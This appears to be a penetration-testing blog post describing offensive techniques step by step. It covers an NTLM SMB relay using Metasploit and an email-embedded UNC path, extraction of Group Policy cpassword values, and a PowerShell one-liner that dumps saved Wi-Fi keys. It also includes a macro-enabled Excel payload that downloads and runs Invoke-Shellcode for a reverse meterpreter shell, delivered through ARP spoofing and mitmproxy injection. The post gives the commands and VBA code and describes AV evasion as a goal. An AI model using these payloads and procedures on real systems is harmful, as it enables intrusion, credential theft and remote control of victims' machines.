SMB Relay Attack

Outlined below is one method of carrying out a NTLMv1 SMB relay attack for the purposes of obtaining a meterpreter shell on our target. For this type of attack to work, we have to insert ourselves into the NTLM challenge/response process. More on that in a minute.

First, we need to understand how NTLM challenge/response works in a basic way. When a client first attempts to connect a network share (for example), the server responds back asking the client who is making the request to encrypt some random data using the user’s password hash. This is the “challenge”.  The client encrypts the data as requested and sends it back.  This is the response. If the server is successful in decrypting the data and it matches the random data using the password hash which is/was already stored on the server, then the user is considered to be authenticated.

Using Metasploit Framework, we can create a listening SMB service and automate much of the process of inserting ourselves into the middle of the NTLM challenge/response process.

Metasploit box:
Domain Admin Workstation:
Target Server:

Our goal in this scenario is to get a shell on

To do this, we first need to “convince” our victim ( to make a connection to our Metasploit box (  To accomplish that piece, we are going to embed a UNC path referencing our Metasploit box in an email message, which will then cause the victim’s computer to carry out the NTLM challenge/response process mentioned above…however, our Metasploit box is going to relay the information to our Target ( in hopes of getting a shell on the Target box.

To start, we need to fire up Metasploit Framework and load the SMB Relay mode.  This can be achieved with the following one-liner:

msfconsole -x “use windows/smb/smb_relay; set payload windows/meterpreter/reverse_tcp; set LHOST;set SMBHOST; set SRVHOST; run”


We now need to send an email to our victim with an embedded reference to our Metasploit box which Outlook will (hopefully) automatically load for us.  To achieve this (and there may be a better way), I created a file named temp.html and typed up the following HTML code:

<img src=”\\\test.jpg”></img>

After saving it, I re-opened the file using Word (2016).  I hit control-a (select all) and pasted the entire contents into an new email message (Outlook 2016), typed up a generic message to the victim, and then hit send. Below is a copy of the message that was opened on the Domain Admin’s workstation within Outlook (2016) on


As soon as the message is opened, the normal NTLM challenge/response process is kicked off; however, in the background, our Metasploit box is relaying the challenege/response to  We now have our meterpreter session on


If we look in the Windows Event Logs on, we can see the suspicious activity and the payload being delivered and executed.


And finally our meterpreter shell:



Local Admin Password Retrieval Technique

Obviously this is a old topic but still relevant and worth mentioning.  Previously I had discussed this same technique but mapping a drive to Sysvol and pulling it out that way; however, I found a much easier way… especially since you may not always have a connection to a server.

If you do a search for groups.xml on the local machine, you can find it stored in a number of places.  For example:

c:\> dir groups.xml /s


From there, we can view the contents – again, without needing to touch an AD server.

c:\> type groups.xml

<?xml version=”1.0″ encoding=”UTF-8″ ?><Groups clsid=”{3125E937-EB16-4b4c-9934-544FC6D24D26}”>
<User clsid=”{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}” name=”xxx-workstation” image=”2″ changed=”2015-01-23 20:46:24″ uid=”{44C5BADF-53AA-45B5-9B59-46992E24539C}” policyApplied=”1″>
<Properties action=”U” newName=”” fullName=”XXX Workstation Administration” description=”XXX Workstation Administration” cpassword=”ie/nEVShK/XXX0APiSgSMl6X2PL3C+MBhkL6byzXXX” changeLogon=”0″ noChange=”0″ neverExpires=”1″ acctDisabled=”0″ subAuthority=”” userName=”xxx-workstation”></Properties></User>
<Group clsid=”{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}” name=”Administrators” image=”2″ changed=”2015-01-23 20:46:53″ uid=”{C61E28C6-3136-45D6-8D18-1C301FA0CCC5}” policyApplied=”1″>
<Properties action=”U” newName=”” description=”” deleteAllUsers=”0″ deleteAllGroups=”0″ removeAccounts=”0″ groupName=”Administrators”>
<Member name=”xx-workstation” action=”ADD” sid=”S-1-5-21-608828738-4017660839-3836957458-1005″></Member></Members></Properties></Group></Groups>

The line from the above output that we care about is:


Microsoft published the AES encryption key here (thanks!):

One can use various free tools to decrypt GPP passwords:


Extracting Wireless PSKs Using Powershell

(netsh wlan show profiles) | Select-String “\:(.+)$” | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=”$name” key=clear)}  | Select-String “Key Content\W+\:(.+)$” | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize

Malicious File Injection Technique

The idea with this particular attack is to inject a malicious file into the victim’s packet stream when they visit a non-https webpage.  For example, the default website for Internet Explorer is So, when the victim opens their web browser, we can (after a successful MiTM attack) inject our malicious file in hopes that they will run it.

Local LAN attack box: (Kali Linux)
Local LAN victim: (Windows 7 with IE 11, fully patched)
Public AWS server:
Internal AWS LAN IP:

Ideally, we want to remain undetected by  AV, so we’ve embedded our malicious code with a macro-enabled Excel document.  If/When the victim runs the file and clicks to enable macros when prompted, a Powershell command is executed that downloads Invoke-Shellcode (written by Matt Graber) and runs it entirely within memory so as to continue to remain undetected by AV.

First, we need to craft our malicious Excel document.  This is covered in a separate post, but the basic VBA code looks like this:

Private Sub Auto_Open()
strCommand = “powershell -nop -windowstyle hidden -NonInteractive -exec bypass -c IEX (New-Object Net.WebClient).DownloadString(‘ ‘);invoke-shellcode -Payload windows/meterpreter/reverse_https -Lhost -Lport 8443”
Set WshShell = CreateObject(“WScript.Shell”)
Set WshShellExec = WshShell.Exec(strCommand)
End Sub

We also need a place to host our malicious file, which we’ve is seen below:


Next, we setup our metasploit listener, which is being done on an AWS box:

./msfconsole -x “use exploit/multi/handler; set payload windows/meterpreter/reverse_https; set LHOST; set PORT 8443; run”


AWS NAT rules to forward incoming 8443 traffic:


We now need to execute a MiTM attack on the victim. If we check the ARP table on our victim PC, we can see how it looks before ARP spoofing:


After running the following three commands on our local attack box, we’ll have successfully implemented our MiTM attack:

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t routerIP victimIP
arpspoof -i eth0 -t victimIP routerIP

Below is what we’ll see, on our local attack box:


If we look again at the victim PC, we can see the change to the ARP tables:


Once the MiTM attack is fully in place, we can now execute the following two commands on our local attack box to proxy all traffic on port  80 to port 8080:

iptables -t nat -A PREROUTING -i eth0 -p tcp –dport 80 -j REDIRECT –to-port 8080

./mitmproxy -T -s “;

The first argument runs mitmproxy in transparent proxy mode so that we can view incoming traffic on port 8080.  The second argument runs a script that injects our macro-enabled Excel document into the victim’s web browser, hosted at AWS.


When the victim visits any non-http site (like, they should see something similar within their browser:


Within the mitmproxy console, we should see the injection:


When the file is opened by the victim, we should (hopefully) have our reverse shell.  Even when the victim closes Excel, the shell should persist.